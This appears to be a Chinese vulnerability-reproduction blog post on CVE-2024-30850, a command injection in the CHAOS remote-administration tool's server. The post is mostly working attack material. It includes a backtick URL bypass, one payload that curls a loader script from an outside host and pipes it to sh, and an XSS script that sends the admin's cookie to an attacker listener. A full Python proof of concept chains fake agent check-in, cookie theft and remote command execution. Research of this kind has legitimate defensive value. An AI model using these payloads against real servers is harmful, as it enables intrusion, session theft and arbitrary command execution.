CVE-2024-30850

admin 2024年4月15日14:29:36评论39 views字数 8471阅读28分14秒阅读模式

漏洞描述

CHAOS RAT是一个针对Windows和Linux系统的开源远程管理工具,最著名的是在 TrendMicro观察到的加密活动2中使用的。发现了一个经过身份验证的命令注入漏洞,它可以通过XSS链接在RAT服务器上执行命令。

资产测绘

FOFA:

漏洞复现

环境搭建

项目地址:https://github.com/tiagorlampert/CHAOS

解压,docker运行

# Create a shared directory between the host and container
$ mkdir ~/chaos-container

$ docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ \
  -e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest

CVE-2024-30850

代码分析

命令注入

首先在BuildClient 函数找到了一处命令注入

func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) {
    if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
        return "", internal.ErrInvalidServerAddress
    }
    if !isValidPort(input.ServerPort) {
        return "", internal.ErrInvalidServerPort
    }

    filename, err := utils.NormalizeString(input.Filename)
    if err != nil {
        return "", err
    }

    newToken, err := c.GenerateNewToken()
    if err != nil {
        return "", err
    }

    const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go`

    filename = buildFilename(input.OSTarget, filename)
    buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename)

    cmd := exec.Command("sh", "-c", buildCmd)
    cmd.Dir = "client/"

    outputErr, err := cmd.CombinedOutput()
    if err != nil {
        return "", fmt.Errorf("%w:%s", err, outputErr)
    }
    return filename, nil
}

本地验证命令注入,通过反引号成功实现命令注入

CVE-2024-30850

该函数在 generateBinaryPostHandler 中被调用

func (h *httpController) generateBinaryPostHandler(c *gin.Context) {
    var req request.GenerateClientRequestForm
    if err := c.ShouldBindWith(&req, binding.Form); err != nil {
        c.String(http.StatusBadRequest, err.Error())
        return
    }
    osTarget, err := strconv.Atoi(req.OSTarget)
    if err != nil {
        c.String(http.StatusBadRequest, err.Error())
        return
    }

    binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{
        ServerAddress: req.Address,
        ServerPort:    req.Port,
        OSTarget:      system.OSTargetIntMap[osTarget],
        Filename:      req.Filename,
        RunHidden:     utils.ParseCheckboxBoolean(req.RunHidden),
    })
    if err != nil {
        h.Logger.Error(err)
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    c.String(http.StatusOK, binary)
    return
}

而该handler对应的后台路由为 /generate

adminGroup.POST("/generate", handler.generateBinaryPostHandler)

通过访问该路由,推测该函数用于生成client被控端,输入的参数例如RunHidden、ServerAddress、ServerPort等

CVE-2024-30850

抓包查看所需参数,只有 address、port、os_target、filename、run_hidden五个参数可控

POST /generate HTTP/1.1
Host: 192.168.76.128:8080
Cookie: XDEBUG_SESSION=PHPSTORM; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTI4MzAxODgsIm9yaWdfaWF0IjoxNzEyODI2NTg4LCJ1c2VyIjoiYWRtaW4ifQ.qaYqzrnAypBZ5dVkRk5LR4GX3U_10dnZxVK6IAwXyfc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8RrfJ8oE1HE3x45z
Referer: http://192.168.76.128:8080/generate
Origin: http://192.168.76.128:8080
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 537

------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="address"

172.17.0.2
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="port"

8080
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="os_target"

1
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="filename"


------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="run_hidden"

false
------WebKitFormBoundary8RrfJ8oE1HE3x45z--

但是每个参数都有一定的检查,经过审计后,只有address存在利用可能

if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
    return "", internal.ErrInvalidServerAddress
}

if !isValidPort(input.ServerPort) {
    return "", internal.ErrInvalidServerPort
}

filename, err := utils.NormalizeString(input.Filename)
if err != nil {
    return "", err
}

针对isValidURL的绕过依旧利用反引号

http://example.com/'`touch /tmp/pwn`'
or
http://example.com'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'

CVE-2024-30850

agent分析

生成的agent,主要有三个信息,serveraddress,serverport,token。前两个不用说,token用于agent的身份认证,这些信息都以string形式存放在agent的编译信息中

CVE-2024-30850

上线流程为:

  1. 以http携带jwt为cookie字段,不断访问server的 /health 用于检测是否可达 和 /device 用于发送agent主机信息,server端将收到的信息保存,访问 /devices 用于查看所有的上线agent

  2. 以websocket与server的 /client 建立连接,等待指令

结合以上信息,通过提取agent的三个信息,可以伪造agent上线,并且可以控制向server的信息回传

XSS

能造成xss的无非两个地方,主机信息 与 命令回传

在命令回传处,直接输出,造成xss

CVE-2024-30850

伪造上线

CVE-2024-30850

输入命令,xss

CVE-2024-30850

漏洞组合

伪造上线->xss->csrf->server端rce 或 伪造上线->xss->cookie登录->server端rce

POC

import time
import requests
import threading
import json
import websocket
import argparse
import sys
import re

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer


class Collector(BaseHTTPRequestHandler):
    def __init__(self, ip, port, target, *args, **kwargs):
        self.ip = ip
        self.port = port
        self.target = target
        super().__init__(*args, **kwargs)

    def do_GET(self):
        print(self.path)
        cookie = self.path.split("=")[1]
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"")

        print(f"[+]Exploiting {self.target} with JWT {cookie}")
        headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
            'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
            'Cookie': f'jwt={cookie}'
        }
        requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False)


def convert_to_int_array(string):
    int_array = []
    for char in string:
        int_array.append(ord(char))
    return int_array

def extract_client_info(path):
    with open(path, 'rb') as f:
        data = str(f.read())

    address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
    address_pattern = re.compile(address_regexp)
    address = address_pattern.findall(data)[0].split("=")[1]

    port_regexp = r"main\.Port=\d{1,6}"
    port_pattern = re.compile(port_regexp)
    port = port_pattern.findall(data)[0].split("=")[1]

    jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
    jwt_pattern = re.compile(jwt_regexp)
    jwt = jwt_pattern.findall(data)[0].split("=")[1]

    return f"{address}:{port}", jwt

def keep_connection(target, cookie, hostname, username, os_name, mac, ip):
    headers = {
            "Cookie": f"jwt={cookie}"
    }
    while True:
        data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
        requests.get(f"http://{target}/health", headers=headers)
        requests.post(f"http://{target}/device", headers=headers, json=data)
        time.sleep(30)

def handle_command(target, cookie, mac, ip, port):
    headers = {
        "Cookie": f"jwt={cookie}",
        "X-Client": mac
    }
    ws = websocket.WebSocket()
    ws.connect(f'ws://{target}/client', header=headers)
    while True:
        ws.recv()
        data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False}

        ws.send_binary(json.dumps(data))


def run(ip, port, target):
    server_address = (ip, int(port))

    collector = partial(Collector, ip, port, target)
    httpd = HTTPServer(server_address, collector)
    print(f'Server running on port {ip}:{port}')
    httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers(dest="option")

    exploit = subparsers.add_parser("exploit")
    exploit.add_argument("-f", "--file",  help="The path to the CHAOS client")
    exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True)
    args = parser.parse_args()

    if args.option == "exploit":
        target, jwt = extract_client_info(args.file)

        bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12"))
        bg.start()

        cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000))
        cmd.start()

        server = threading.Thread(target=run, args=(args.local_ip, 8000, target))
        server.start()

    else:
        parser.print_help(sys.stderr)
        sys.exit(1)

原文始发于微信公众号(漏洞文库):【漏洞复现】CVE-2024-30850

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日14:29:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-30850https://cn-sec.com/archives/2659431.html

发表评论

匿名网友 填写信息